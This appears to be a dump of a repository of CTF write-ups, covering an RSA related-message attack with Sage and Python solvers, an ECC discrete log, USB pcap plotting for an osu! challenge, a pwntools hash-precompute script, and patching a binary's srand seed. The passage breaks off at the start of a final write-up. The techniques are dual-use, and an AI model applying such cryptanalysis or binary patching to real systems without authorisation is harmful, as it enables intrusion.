├── GDG-Algiers-CTF └── franklin-last-words.md ├── NexZeroCTF ├── ECCP.md ├── FlyingTuna.md ├── GimmeMore.md ├── Kainé.md ├── RevyLozman.md ├── Woahhhh.md └── peekaboo.md ├── PatriotCTF ├── banner.md └── coruptaaaad.md ├── PicoCTF-2022 ├── eavesdrop.md ├── operation-oni.md ├── sleuthkit-apprentice.md ├── st3g0.md └── transposition-trial.md └── Space-Heroes-CTF ├── Space-Heroes-CTF-2022 ├── easy-crypto-challenge.md ├── information-paradox.md ├── invisible-stargate.md ├── off-the-grid.md └── strange-traffic.md └── Space-Heroes-CTF-2023 ├── Acheron.md ├── Bank_of_Knowhere.md ├── Bynary_Encoding.md ├── Galactic_Federation.md ├── Guardians_of_The_Galaxy.md ├── Rick_Sanchez_Algorithm.md └── The_Dew.md /GDG-Algiers-CTF/franklin-last-words.md: -------------------------------------------------------------------------------- 1 | # Description 2 | Franklin gave birth to the amazing show blacklist but before he leaves the stage he left us some few words as well as a certain machine that generates encrypted messages 3 | 4 | ![image](https://user-images.githubusercontent.com/101048320/195287069-904494c2-c95d-4b60-936a-6970f5bc35fe.png) 5 | 6 | ## Files 7 | - `main.py` 8 | - `message.py` 9 | 10 | # Solution 11 | - Looking at the challenge files, we see that `main.py` is very similar to the one supplied with the challenge **the_messager** but with a slight twist, Here's how the code in `main.py` looks like : 12 | ```python 13 | from Crypto.Util.number import bytes_to_long, getStrongPrime 14 | from math import gcd 15 | from flag import FLAG 16 | from Crypto.Random import get_random_bytes 17 | 18 | 19 | 20 | def encrypt_message(m): 21 | return pow(m,e,N) 22 | 23 | 24 | def advanced_encrypt(a,m): 25 | return encrypt_message(pow(a,3,N)+(m << 24)) 26 | 27 | e = 3 28 | p = getStrongPrime(512) 29 | q = getStrongPrime(512) 30 | 31 | 32 | # generate secure keys 33 | result = 0 34 | while (result !=1): 35 | p = getStrongPrime(512) 36 | q = getStrongPrime(512) 37 | result = gcd(e,(p-1)*(q-1)) 38 | 39 | N = p * q 40 | 41 | print("N = " + str(N)) 42 | print("e = " + str(e)) 43 | 44 | rand = bytes_to_long(get_random_bytes(64)) 45 | 46 | ct = [] 47 | ct.append(encrypt_message(rand << 24)) 48 | 49 | for car in FLAG: 50 | ct.append(advanced_encrypt(car,rand)) 51 | 52 | print("ct = "+str(ct)) 53 | ``` 54 | - After examining the code, we notice that strange `advanced_encryption` function that does some operations to the ciphertext after encrypting, it basically mixes a 512 bit random number into the process. Or, to be precise, if $r$ is that random number then $r = r<<24 = r*2^{24}$ is used for encryption. 55 | - Looking at the output file, we can see that we have an array of ciphertexts, and by examining `main.py` we surely know it's encrypting the flag character by character 56 | - To better understand how the `advanced_encryption` works, we can understand it like this : 57 | 58 | 1 - if we want to encrypt the letter `a`, we'll normally do it in RSA like this : $c = a^{3}$ mod $N$ (with $e = 3$) 59 | 60 | 2 - some additional operations are done to produce an output that we can call $l$ : $l = (c + r')^{3} = c^{3} + 3c^{2}r' + 3cr'^{2} + r'^{3}$ 61 | 62 | 3 - Since we know the flag format which is `CyberErudites{}`, we know $l$ and $c$ for the first 14 ciphertexts and we also know $r'^{3}$ mod $N$ which is the first element in our list. If we can calculate $r'$ we can simply encrypt all letters and recover the flag. 63 | 64 | - This is known as the Franklin-Reiter attack on RSA, it basically states that if two messages differ only by a known fixed difference between the two messages and are encrypted under the same modulus $N$, then it is possible to recover both of them. 65 | 66 | - If we wanna get $r$, we can solve two equations with our knowledge of the first two ciphertexts and $r'^{3}$, treating the exponents of $r'$ as independent variables we have a system of two linear modular equations in two variables which is solvable. I wrote a sage script that solves for $r'$ : 67 | ```sage 68 | N = 128704452311502431858930198880251272310127835853066867118127724648453996065794849896361864026440048456920428841973494939542251652347755395656512696329757941393301819624888067640984628166587498928291226622894829126692225620665358415985778838076183290137030890396001916620456369124216429276076622486278042629001 69 | e = 3 70 | R = 21340757543584301785921441484183053451553315439245254915339588451884106542258661009436759738472587801036386643847752005362980150928908869053740830266273664899424683013780904331345502086236995074501779725358484854206059302399319323859279240268722523450455802058257892548941510959997370995292748578655762731064 71 | l1 = 53066819955389743890197631647873076075338086201977617516688228878534943391813622173359672220491899999289257725082621279332126787067021987817619363964027754585057494857755310178293620211144789491527192983726079040683600073569676641124270473179040250808117008272524876858340200385005503388452491343904776677382 72 | l2 = 7842029648140254898731712025732394370883533642138819492816448948307815782380138847628158108013809453236401089035015649397623608296202122635822677717636589547775619483739816443584071749358123933593122063285229582290924379314987624399741427190797914523635723048501174115183499642950146958355891757875557441498 73 | 74 | F = Zmod(N) 75 | 76 | p1 = ord('C') 77 | p2 = ord('y') 78 | c1 = F(power_mod(p1, e, N)) 79 | c2 = F(power_mod(p2, e, N)) 80 | 81 | d1 = F(l1 - c1^3 - R) 82 | k11 = F(3*c1^2) 83 | k21 = F(3*c1) 84 | 85 | d2 = F(l2 - c2^3 - R) 86 | k12 = F(3*c2^2) 87 | k22 = F(3*c2) 88 | 89 | a = k11*k22-k12*k21 90 | b = d1*k22 - d2*k21 91 | 92 | r = b*a^(-1) 93 | 94 | #Sanity check 95 | assert(k21*r^2+k11*r == d1) 96 | assert(k22*r^2+k12*r == d2) 97 | 98 | print(r) 99 | 100 | # r' = 166948911880587234600972597325398559800623586442106754544249387904660171481281804594820145380464642946591165741209919048255667796045110331101490851949349850578944 101 | ``` 102 | - Now that we have $r'$, we only have to reconstruct the flag, this python script does exactly that : 103 | ```python 104 | ciphertexts = [21340757543584301785921441484183053451553315439245254915339588451884106542258661009436759738472587801036386643847752005362980150928908869053740830266273664899424683013780904331345502086236995074501779725358484854206059302399319323859279240268722523450455802058257892548941510959997370995292748578655762731064, 53066819955389743890197631647873076075338086201977617516688228878534943391813622173359672220491899999289257725082621279332126787067021987817619363964027754585057494857755310178293620211144789491527192983726079040683600073569676641124270473179040250808117008272524876858340200385005503388452491343904776677382, 7842029648140254898731712025732394370883533642138819492816448948307815782380138847628158108013809453236401089035015649397623608296202122635822677717636589547775619483739816443584071749358123933593122063285229582290924379314987624399741427190797914523635723048501174115183499642950146958355891757875557441498, 81695021584105358045051566003505716258539304380158236410692031154675976958477102448120001354028763788338277726836564439223825775055987134804476545219389719030154358688010609211929573454049639296115583549679374560630884139585632673018270295206596781845043810461183562700653267241738473715845857687319113614456, 86586501887041201286527802721761642260725877818992995519871353147763446402104956574783967901914351377837180089585862713765704485010827129195281513365094091181910563864296721772761074690566705659717173959009277068631076288853911923094528971015851696547954102181618472963745794032190874682537561541341010731317, 4407010096401177719382587860973089547269774584169025945612873836837456069669989617488086581303974564705691737258603082424491662678151761823140849931562969625660637062703801758223280715291175509480824528541363322136476980382432430887691493142016500898713242165899187042640529277802536975777824806009438943965, 20524927494678402175950259591111162749212820045240667997136299019445709195168242983746096181865554404588029237712065575377811975608978219126831818907269960069985776657364619267644968568292446797472239793194732664070169465897817709246314196916593546896176278896250403566147976472899677805168690321734513565299, 4407010096401177719382587860973089547269774584169025945612873836837456069669989617488086581303974564705691737258603082424491662678151761823140849931562969625660637062703801758223280715291175509480824528541363322136476980382432430887691493142016500898713242165899187042640529277802536975777824806009438943965, 51139318697490622650693660298147944378988372035109840705368428672127413619272423551816883049235344493649752002429044518033993427344083454465185748371604373504028204966800166389631164678888210143920677529018088140621435737669118638794028597406100569365879488348484226040476359974085585581378223149467179501946, 61799162491846407044403618488152290977719649337271367195813541845489917481067315542645819191562014741305490739984114955413967671171269164971415239796230389202065094904892080733323413509954520339080338852975324810347271929340532300585500631891040710031375781370408675545957886220089645926354912765277207193798, 107206043735279333846992454448839140370827883940390260597595481248800707737249317944514632453873180357326528319466071505831942392623928121738100851252667510107695812737386157242288048018487583295361010891262525476641689707830363622742934590525129489305921929428048618530386530992073266265026078031189655320106, 85307591403552508243723419381075892490553211323303653139542717671522446932474210804647996573033586101417717988233360452582706073794403902188813545550074952753888569571363969851352079224368979656333248386459649432144248164681972775841136644513642798070299209002137286717588527668402619441954609514753661947313, 86586501887041201286527802721761642260725877818992995519871353147763446402104956574783967901914351377837180089585862713765704485010827129195281513365094091181910563864296721772761074690566705659717173959009277068631076288853911923094528971015851696547954102181618472963745794032190874682537561541341010731317, 41397924411890772454375265845933795072222843402754920501088753051420044021616883093528477351669664383575552141733184262754285200808444804620877416618853152278116553671610496732425895917227824642073742631842238665475944337858457051856626631418115315171059531227054863964810769428751856584563528521378904763004, 10605243757384588410949346291843691695059260029262285885688340336498786144062875360655352621500803735554571187372176718434140069866861892334998832161282034966596765115799113734407139063630983608233399160254561926930070785190320545453208884166339176430224475632173509946846905362279714116952844713431984171423, 65849650090975782672006215530044304732838792899298125801656552932222950757929203789661590769174992774295751413212216292841524763630804121853440450854889497695508837735482849044800782262622201081754096333157119856307403189214765778617730569259936442310922376487593547587612071369577598550538470953180060327484, 4407010096401177719382587860973089547269774584169025945612873836837456069669989617488086581303974564705691737258603082424491662678151761823140849931562969625660637062703801758223280715291175509480824528541363322136476980382432430887691493142016500898713242165899187042640529277802536975777824806009438943965, 25192663003159777174615451629938213843222366842683940183362551204469496974891644208321342646667233572676576472164648007266602388592839440014310951184481049521012297732473729920930726303235436945383858287317594336428793167109440236357984389807244311551143246546400865347076405661274883099848046482994822149839, 81111299336050275750472008224957667125146586306759086248084295752602324720839543288370663615750857287552903922536031859099788116379487391773903754451992919367596305768339444201446994649849712459520992343839084870637197983082887171667909318521242800685401171176726353172069040622627821647795603423551447271897, 172967095404256540830825090627890385022225889601723954575733125793475006259282286018366839965172738142366017838292656817573153121633640374942242813153661050037135885057976712584829626048750871049237074200959050511068507540075123164896445819553176441313661889437609142291778433892651893386678048468180013621, 54209820127153720986474084238052778697132905502967498816654290121880250372787906574546961463213093657385992644387672873438452821695140015330496830316777538022586647303682910176500454712473480999658744024410467615800495847992591570851886050019970720291086916154447046480846281731972943090264324948456440665661, 28885040548649433818312707049098386302426564056859377602258643789733090344285966189272164940417109799449123029221353559595585853944793603746038212728785628090812468725975339605126975370377243473883045109400760722557049145239156309228858278704148782700632988895826738069560545828526225627800055745581440022577, 81111299336050275750472008224957667125146586306759086248084295752602324720839543288370663615750857287552903922536031859099788116379487391773903754451992919367596305768339444201446994649849712459520992343839084870637197983082887171667909318521242800685401171176726353172069040622627821647795603423551447271897, 15712112799522387502102713193722467424402631384092196807057434496598674428309494459811523180782790044819285433524468899851335245998768088831658170418466392438399410802792501309056236805241160176754059850691703432150262405441430237695612809894131939658419704673281367391393311992247965290741727023994779433141, 90557913992970124339018122417017168647892092654619957439310943241692998853469781201535236911728649858936776518532983596071103348064396527739989572674507974009483171965078556587909741335279567452647179397815757421899178406412750565529499623891538068993828045760955318494257424529204657968028613157183995612711, 85675609516128041505642974246105781207878835838608550975500845934782884530583531039538004477522284615403428772115964969520508967026139845649101029319923434926707385504059806901530960679704218584706660751338176542291587725130564020356976235189119834080273889731614886626208044719903723301580316649222174716532, 15712112799522387502102713193722467424402631384092196807057434496598674428309494459811523180782790044819285433524468899851335245998768088831658170418466392438399410802792501309056236805241160176754059850691703432150262405441430237695612809894131939658419704673281367391393311992247965290741727023994779433141, 81111299336050275750472008224957667125146586306759086248084295752602324720839543288370663615750857287552903922536031859099788116379487391773903754451992919367596305768339444201446994649849712459520992343839084870637197983082887171667909318521242800685401171176726353172069040622627821647795603423551447271897, 85675609516128041505642974246105781207878835838608550975500845934782884530583531039538004477522284615403428772115964969520508967026139845649101029319923434926707385504059806901530960679704218584706660751338176542291587725130564020356976235189119834080273889731614886626208044719903723301580316649222174716532, 85675609516128041505642974246105781207878835838608550975500845934782884530583531039538004477522284615403428772115964969520508967026139845649101029319923434926707385504059806901530960679704218584706660751338176542291587725130564020356976235189119834080273889731614886626208044719903723301580316649222174716532, 61799162491846407044403618488152290977719649337271367195813541845489917481067315542645819191562014741305490739984114955413967671171269164971415239796230389202065094904892080733323413509954520339080338852975324810347271929340532300585500631891040710031375781370408675545957886220089645926354912765277207193798, 15712112799522387502102713193722467424402631384092196807057434496598674428309494459811523180782790044819285433524468899851335245998768088831658170418466392438399410802792501309056236805241160176754059850691703432150262405441430237695612809894131939658419704673281367391393311992247965290741727023994779433141, 38962700196345764443430076328468823048654528820043766024585560519262075591273928991068126566288543007226770928003946070052439096668643477740474190703788526219925328431721859530740114691295801384955561916420881286450144549992327909272769286620245430583032691331672843446292771750462163437595822776667096333763, 81111299336050275750472008224957667125146586306759086248084295752602324720839543288370663615750857287552903922536031859099788116379487391773903754451992919367596305768339444201446994649849712459520992343839084870637197983082887171667909318521242800685401171176726353172069040622627821647795603423551447271897, 81604909815994086673421693572426298878862835900596359748090824964404410968235612905849185964777674389932839535035599455168277871014038156501897270840412741045214049490644167087296649367556864887777074100267203854799140784786464099851736527907291367077573005882823454864594785834874833652994406695607530576301, 85307591403552508243723419381075892490553211323303653139542717671522446932474210804647996573033586101417717988233360452582706073794403902188813545550074952753888569571363969851352079224368979656333248386459649432144248164681972775841136644513642798070299209002137286717588527668402619441954609514753661947313, 52156001220188104895473522650224336584905726666754737059523290472567230003322526600513423004029753974157905270382920020591958052240353991252839261876495000572160369521817108757646640716294419293319582726159643898164423211489747574918997667612756540268118158962997647124621728161184263876514787554342131369200, 85675609516128041505642974246105781207878835838608550975500845934782884530583531039538004477522284615403428772115964969520508967026139845649101029319923434926707385504059806901530960679704218584706660751338176542291587725130564020356976235189119834080273889731614886626208044719903723301580316649222174716532, 8626201435710132500083028176804629797027088958282385045951979777069641530512143047104352887040944488529150298079174517417971856366246040580278209977476709229172088355435726582119603207919684569044830141050650718261952439402562787510913838563646318999328281769878916484145022935183249932414990371457340982530, 15712112799522387502102713193722467424402631384092196807057434496598674428309494459811523180782790044819285433524468899851335245998768088831658170418466392438399410802792501309056236805241160176754059850691703432150262405441430237695612809894131939658419704673281367391393311992247965290741727023994779433141, 121226218034082229384971342687398416100893638888085513248813472413262145283395477535912994933231543339828879244145432486720289587030092361101582541189271478597197509543997536280636089567590609161877061652162188271757425292313858133390807992771802944817639363538653163784369687974560442354969526917376491860952, 85675609516128041505642974246105781207878835838608550975500845934782884530583531039538004477522284615403428772115964969520508967026139845649101029319923434926707385504059806901530960679704218584706660751338176542291587725130564020356976235189119834080273889731614886626208044719903723301580316649222174716532, 25192663003159777174615451629938213843222366842683940183362551204469496974891644208321342646667233572676576472164648007266602388592839440014310951184481049521012297732473729920930726303235436945383858287317594336428793167109440236357984389807244311551143246546400865347076405661274883099848046482994822149839, 49537543950196981196008705073490431322869824547419754434164989869148910207602945400222339540873326843877995376121122967451939219149806674439960220589193189585760172923124276530124072984487005587747672999647203434177959209139239195212611226079544263186906487384149209242751551401702465174463378551587903464013, 81604909815994086673421693572426298878862835900596359748090824964404410968235612905849185964777674389932839535035599455168277871014038156501897270840412741045214049490644167087296649367556864887777074100267203854799140784786464099851736527907291367077573005882823454864594785834874833652994406695607530576301, 82605108086464943169862550306200946889734302370750892864214984485030047777068048016807926063544535451667188130157336614116049572675082898787939202381661956285707961358162934993215182977800779844581722076853699116970869839871673603035667037900906095736260590599998045628715894324887335765024740238758306886601, 15712112799522387502102713193722467424402631384092196807057434496598674428309494459811523180782790044819285433524468899851335245998768088831658170418466392438399410802792501309056236805241160176754059850691703432150262405441430237695612809894131939658419704673281367391393311992247965290741727023994779433141, 87183215347967191590542176417724958857058607082507361242348562809358164198308247679047180368020902280813201721298429403561075113836349947551334588733174809438143792381327054583566337165561000865476978009557708693850414825902676261268716823948760442922777052374371288490023049947720611595532141510532644435250, 49537543950196981196008705073490431322869824547419754434164989869148910207602945400222339540873326843877995376121122967451939219149806674439960220589193189585760172923124276530124072984487005587747672999647203434177959209139239195212611226079544263186906487384149209242751551401702465174463378551587903464013, 25192663003159777174615451629938213843222366842683940183362551204469496974891644208321342646667233572676576472164648007266602388592839440014310951184481049521012297732473729920930726303235436945383858287317594336428793167109440236357984389807244311551143246546400865347076405661274883099848046482994822149839, 66766715720902966595178914295223547348495022878823462889622775721913448987561303310541276071530863698182890278728480864181198078543766251390078585132912767108062691265660663002406799106089377580272724589978697222635560956414236639690889939243054319449595599517712915493280854882719256210734111619403134480752, 23942811148204157202654637859911277560708533796069053111751942163750895868053622268645847217089096022452975956692323271828103232820789988209286647453449929108598776835367103056318289898885824280500932307262080931914632255743345269865080087850167325191747197921286245735954464811042826275305804860020107464497] 105 | 106 | r = 166948911880587234600972597325398559800623586442106754544249387904660171481281804594820145380464642946591165741209919048255667796045110331101490851949349850578944 107 | 108 | 109 | chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ{}-_#0123456789" 110 | 111 | N = 128704452311502431858930198880251272310127835853066867118127724648453996065794849896361864026440048456920428841973494939542251652347755395656512696329757941393301819624888067640984628166587498928291226622894829126692225620665358415985778838076183290137030890396001916620456369124216429276076622486278042629001 112 | e = 3 113 | 114 | def encrypt_message(m): 115 | return pow(m,e,N) 116 | 117 | def advanced_encrypt(a): 118 | return encrypt_message(pow(a,3,N)+r) 119 | 120 | # Sanity check 121 | # assert(advanced_encrypt(ord('C')) == ciphertexts[0]) 122 | # assert(advanced_encrypt(ord('y')) == ciphertexts[1]) 123 | 124 | # Build a dictionary of all ciphertexts 125 | ctpt = {} 126 | for char in chars: 127 | ct = advanced_encrypt(ord(char)) 128 | ctpt[ct] = char 129 | 130 | # Reconstruct the flag from the knows plaintext/ciphertext pairs 131 | flag = '' 132 | for ct in ciphertexts: 133 | if(ct in ctpt): 134 | flag += ctpt[ct] 135 | else: 136 | flag += "#" 137 | 138 | print(flag) 139 | ``` 140 | - I ended up commenting out the assertion part cause it kept failing for some reason, then after executing the code we get our flag ! 141 | 142 | # Flag 143 | 144 | CyberErudites{Fr4nkl1n_W3_n33d_an0th3R_S3450N_A54P} 145 | -------------------------------------------------------------------------------- /NexZeroCTF/ECCP.md: -------------------------------------------------------------------------------- 1 | # Description 2 | 3 | DEKHLET LA BOOOOOOOOOOOOOOOOOOOOOOOOURSE, rahi encrypted :) 4 | 5 | # Solution 6 | 7 | This is a basic ECC problem, we're given an elliptic curve equation with all parameters, typical discrete log problem, we can use sage to solve it. 8 | 9 | ```sage 10 | a = 3820149076078175358 11 | b = 1296618846080155687 12 | p = 11648516937377897327 13 | E = EllipticCurve(GF(p), [a,b]) 14 | G = E(4612592634107804164, 6359529245154327104) 15 | PubKey = E(9140537108692473465, 10130615023776320406) 16 | Ca = E(7657281011886994152, 10408646581210897023) 17 | Cb = E(5414448462522866853, 5822639685215517063) 18 | d = G.discrete_log(PubKey) 19 | M = Cb-(d*Ca) 20 | print(M) 21 | ``` 22 | 23 | # Flag 24 | nexus{L4_B0urse_1S_ThE_ONlY_R3A$oN_1_DidNt_Dr0p_0fF} -------------------------------------------------------------------------------- /NexZeroCTF/FlyingTuna.md: -------------------------------------------------------------------------------- 1 | # Description 2 | 3 | How can a tuna fly ? 4 | 5 | # Solution 6 | 7 | We are provided with a webpage, it plays a song and asks us to find a meme that has it, and then find a game related to it. The song is a nightcore version of "Rockefeller Street" by Getter Jaani. After some research, we find a video of a chinese guy playing osu! with the song and weirdly vibing to it. 8 | 9 | After guessing the game, we are given a pcap file to download. The pcap file contains USB traffic. sounds like we need to learn more about osu! and USB traffic related to it. 10 | 11 | ## Osu! 12 | 13 | osu! is an open source rhythm game. The player is given a beatmap, and has to hit the notes/sliders in the map. Devices include keyboard, mouse, and tablet. 14 | 15 | On keyboard, usually `z` and `x` are used to click the circles and `c` is used for "smoking". while tablet and mouse are used for cursor movements. You can learn more about game rules at [osu! wiki](https://osu.ppy.sh/wiki/osu!_Wiki). 16 | 17 | ## Back to the pcap file 18 | 19 | After opening the pcap file in Wireshark, we can see that the USB traffic is related to a tablet and a keyboard. We can filter the traffic by `usbhid.data` and see the data. 20 | 21 | `$ tshark -r osu.pcap -Y 'usbhid.data' -T fields -e usbhid.data` 22 | 23 | The output looks something like this: 24 | 25 | ``` 26 | 1.3.1 088111364423ef0500000000 27 | 1.3.1 088105363c23780600000000 28 | 1.3.1 0881f9353323fb0600000000 29 | 1.3.1 0881ec352a23830700000000 30 | ... 31 | 1.6.1 00001d0000000000 32 | 1.3.1 088074449b15000000000000 33 | 1.3.1 088071449815000000000000 34 | ... 35 | 1.6.1 0000000000000000 36 | 1.3.1 08807a45d82d000000000000 37 | ... 38 | ``` 39 | 40 | We can see that the data is in the format of `device id`, `payload`. The device id is `1.3.1` and `1.6.1`. The payload is in hex format. 41 | 42 | The `1.3.1` device id is likely the tablet, and the `1.6.1` device id is likely the keyboard. This is because the `1.3.1` device id occurs more frequently than the `1.6.1` device id. hinting that the `1.3.1` device id is used for cursor movements. 43 | 44 | But we need to know the format of the payload to understand the data. By searching online, we can find that the payload is in the format of `dummy`, `x`, `y` and `pressure`. The `dummy` is the first byte of the payload, and the `x`, `y`, `pressure` are the rest of the payload. 45 | 46 | ``` 47 | 08 80 57 3b e0 21 000000000000 48 | (dummy) (x axis) (y axis) (pressure) 49 | ``` 50 | We can also see that the `1.6.1` device id has some payloads that are completely null, while others have a payload of `1d` or `1b`. This is likely the `z` and `c` keys being pressed, as some osu players single tap all the notes with the `z` key, and use the `c` key for "smoking". If we had `1d`, `1c` and `1b` in the payload, we can assume that the player is using the `z`, `x` and `c` keys. Thus alternating between `z` and `x` keys to hit the notes. 51 | 52 | ## Exploit 53 | 54 | We can write a script to parse the data and plot the cursor movements. We can also color the cursor movements based on the key presses. The `z` key is colored green, the `x` key is colored blue, and the `c` key is colored red. 55 | 56 | That way, we can visualize the cursor movements and the key presses. We can also see the flag being drawn by the cursor movements. 57 | 58 | ```py 59 | import matplotlib 60 | import matplotlib.pyplot as plt 61 | from matplotlib.animation import FuncAnimation 62 | from itertools import groupby 63 | import numpy as np 64 | 65 | path = "out.txt" # the dump data 66 | ds = [i.split("\t") for i in open(path).read().splitlines()] 67 | data = [(i, bytes.fromhex(j)) for i, j in ds] 68 | 69 | mode = 0 70 | modes = sorted(set(i[1] for i in data if i[0] == "1.6.1")) 71 | colors0 = { 72 | 198: "#00FF00", 73 | 129: "#00FF00", 74 | 128: "#33691E", 75 | } 76 | colors1d = { 77 | 198: "#00FF00", 78 | 129: "#B71C1C", 79 | 128: "#00838F", 80 | } 81 | colors1b = { 82 | 198: "#00FF00", 83 | 129: "#D84315", 84 | 128: "#37474F", 85 | } 86 | colors = colors0 87 | 88 | x = y = 0 89 | letters = [] 90 | 91 | minx = float("inf") 92 | maxx = float("-inf") 93 | miny = float("inf") 94 | maxy = float("-inf") 95 | 96 | X = [] 97 | Y = [] 98 | C = [] 99 | 100 | for dev, payload in data: 101 | if dev == "1.3.1": 102 | x = payload[2] + payload[3] * 256 103 | y = payload[4] + payload[5] * 256 104 | a = payload[6] + payload[7] * 256 105 | a = int(a / 5292 * 255) 106 | ahex = hex(a)[2:].zfill(2) 107 | if a == 0: ahex = "06" 108 | c = colors[payload[1]] + ahex 109 | X.append(x) 110 | Y.append(-y) 111 | C.append(c) 112 | minx = min(minx, x) 113 | maxx = max(maxx, x) 114 | miny = min(miny, -y) 115 | maxy = max(maxy, -y) 116 | elif dev == "1.6.1": 117 | if payload[2] == 0x1b: 118 | colors = colors1b 119 | elif payload[2] == 0x1d: 120 | colors = colors1d 121 | else: 122 | colors = colors0 123 | 124 | 125 | print(minx, maxx, miny, maxy) 126 | fig = plt.figure() 127 | ax = plt.axes(xlim=(10000, maxx), ylim=(-14000, maxy)) 128 | sct = ax.scatter([], [], c=[], marker=".") 129 | 130 | 131 | # initialization function 132 | def init(): 133 | # creating an empty plot/frame 134 | sct.set_offsets(np.c_[[], []]) 135 | return sct, 136 | 137 | # animation function 138 | def animate(i): 139 | start = max(0, i-1000) 140 | sct.set_offsets(np.c_[X[start:i], Y[start:i]]) 141 | sct.set_color(C[start:i]) 142 | return sct, 143 | 144 | ani = matplotlib.animation.FuncAnimation(fig, animate, 145 | init_func=init, 146 | frames=range(0, len(X), 20), interval=1, repeat=False) 147 | plt.show() 148 | ``` 149 | 150 | After running the script, we can see that the cursor is drawing the flag. 151 | 152 | # Flag 153 | nexus{OSU_IS_SUPER_LAGGY_W_SLIDERS} 154 | -------------------------------------------------------------------------------- /NexZeroCTF/GimmeMore.md: -------------------------------------------------------------------------------- 1 | # Description 2 | 3 | Gimme Gimme MORE 4 | 5 | # Solution 6 | 7 | After reversing the binary in ghidra, we realize that this is a stripped golang binary. There are various techniques to reverse this kind of binaries that I won't cover here. 8 | 9 | The main function generates a random seed, gets some random bytes that are given to the user, and then asks for user input, this latter is then SHA1 hashed so that the last bytes are compared with the random bytes. 10 | 11 | We notice that the random bytes are generated using `rand.Intn(256)`, this means that we can create a hash set before starting that contains all the hashes that end in different two-byte sequences and a corresponding string for each. The simplest way to do this is to start a loop and just count up from zero, hashing the string of "0", "1", ..., and adding them to a hashmap/dictionary until all 65,536 possibilities are found. Then just get the hash from the server and send the corresponding string. 12 | 13 | Therefore, here is the final exploit: 14 | 15 | ```python 16 | 17 | 18 | from pwn import * 19 | import socket 20 | import hashlib 21 | import time 22 | 23 | RT = 5000 24 | 25 | hashes: dict[str, str] = {} 26 | 27 | POSSIBILITIES = 256 * 256 28 | 29 | i = 0 30 | while len(hashes) < POSSIBILITIES: 31 | hash = hashlib.sha1(str(i).encode('ascii')).hexdigest() 32 | hashes[hash[-4:]] = str(i) 33 | i += 1 34 | 35 | if i % 100 == 0: 36 | print(f"{len(hashes)*100/POSSIBILITIES:.2f}% {len(hashes)}") 37 | 38 | 39 | 40 | 41 | conn = process("./hitme") 42 | 43 | 44 | while True: 45 | question = conn.recvuntil(b": ") 46 | 47 | requested_hash = question[-6:-2].decode() 48 | 49 | try: 50 | response_hash = hashes[requested_hash].encode() 51 | except KeyError: 52 | print(question.decode(), end="") 53 | print(conn.recvline().decode()) 54 | break 55 | 56 | conn.send(response_hash + b'\n') 57 | print((question + response_hash).decode()) 58 | 59 | print(conn.recvline().decode()) 60 | 61 | conn.close() 62 | 63 | 64 | 65 | ``` -------------------------------------------------------------------------------- /NexZeroCTF/Kainé.md: -------------------------------------------------------------------------------- 1 | # Description 2 | 3 | nexus{HeaderID_CharacterName_LastSavedRegion} 4 | 5 | # Solution 6 | 7 | We are given 4 files that look like a save game, we try running `strings` on them and but nothing to be found except some interesting data in `SlotData_0.dat`: 8 | 9 | ``` 10 | q770/FIN 11 | q150/REQ 12 | DT_collapse 13 | Flags 14 | ft_RC 15 | ft_CC 16 | ft_CRb 17 | ft_DC 18 | ft_DI 19 | ft_PV 20 | Quest 21 | q006 22 | q020 23 | q100 24 | q110 25 | q121 26 | q140 27 | q150 28 | q160 29 | q240 30 | q410 31 | q500 32 | q800 33 | 80_10_AB_Pascal_Village 34 | ft_PV 35 | CI=2A 36 | ``` 37 | 38 | We can see some interesting data like `Quest` and `80_10_AB_Pascal_Village`, we try looking it up on the internet and we find out that it is a region from the game NieR Automata, looks promising ! 39 | 40 | We find online [this tool](https://github.com/MysteryDash/NieR.Automata.Editor) that can be used to edit the save game, we try to open the save game with it and find all the information we need ! 41 | 42 | # Flag 43 | nexus{660600000100100154590209_not1cyyy_80_10_AB_Pascal_Village} -------------------------------------------------------------------------------- /NexZeroCTF/RevyLozman.md: -------------------------------------------------------------------------------- 1 | # Description 2 | 3 | THE ROOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOK 4 | 5 | 6 | # Solution 7 | 8 | In order to win the game, we need to know how the computer moves. So now we can start reversing the `computer_move` function. As we do, you might notice calls to `rand` littered all throughout the function. Actually, anytime a change is made to some piece in the piece array, `rand` is called first, and is used as part of the values being reassigned. From this we can determine that the computer uses random values to determine which move to make. 9 | 10 | This seems incredibly unfortunate, as now we need to defeat an opponent without being able to know what moves they make even during the game. However, we can leak the seed for `srand` at the beginning of `main`. This means, in theory, we can calculate exactly which moves the computer will make just from the seed at runtime, so that we can come up with a series of countermoves which will end in checkmate. 11 | 12 | Another solution involves patching the binary. Now, if we can find a way to patch the binary such that srand will be called with a value of our choice, allowing us to print the board and see which moves the computer will make given the known seed. Then and only then can we come up with a move sequence to capture the king and win the game. 13 | 14 | The first solution is more elegant, but the second solution is more practical. We will go with the second solution. 15 | 16 | In order to make the srand call with our chosen value, we need to ensure edi contains the seed value just before the call. So, lets connect to the remote server and see what the seed value is. Here, we are given a seed of 749.4. 17 | 18 | ``` 19 | Don't mind this: 749.4 20 | MOVE! >>> 21 | ``` 22 | 23 | So we will patch the instructions prior to the srand call to be mov edi, 749. However we must be a little careful, as the original mov edi, eax instruction is two bytes long in machine code, whereas what we want is actually five bytes in machine code. Thankfully, the instruction just before is three bytes long, so we can overrite these two instructions to be the mov instruction we need 24 | 25 | ``` 26 | 004068bf 8b45e0 mov eax, dword [rbp-0x20 {var_28}] 27 | 004068c2 89c7 mov edi, eax 28 | 004068c4 e867b8ffff call srand 29 | ``` 30 | 31 | And after patching: 32 | 33 | ``` 34 | 004068bf bff04f0000 mov edi, 749 35 | 004068c4 e867b8ffff call srand 36 | ``` 37 | 38 | Next, we save this patched binary, run it, and print a few times to see what moves the computer makes. 39 | 40 | Now we know that we can easily open up our queen, and move it to capture the enemy king in just a few moves. If we play pawn to e4, then Queen to f3, then Queen takes on f7, then Queen takes King on e8, we can win in less than five moves without interfering with what moves the computer will make. The algebraic notation for this is e4, Qf3, Qxf7, Qxe8. As you can see, if we input that sequence into the remote server we can win and get the flag. 41 | 42 | # Flag 43 | nexus{4LW4y$_$4CRiFic3_TH3_rOO00Oo0OK} 44 | -------------------------------------------------------------------------------- /NexZeroCTF/Woahhhh.md: -------------------------------------------------------------------------------- 1 | # Description 2 | My adventure in this world never fails to impress me everytime, 3 | I found this mystery box that made me litterally speechless... can you help me open it ? 4 | 5 | 6 | ## Files 7 | - `woahhhh.py` 8 | 9 | # Solution 10 | 11 | ## 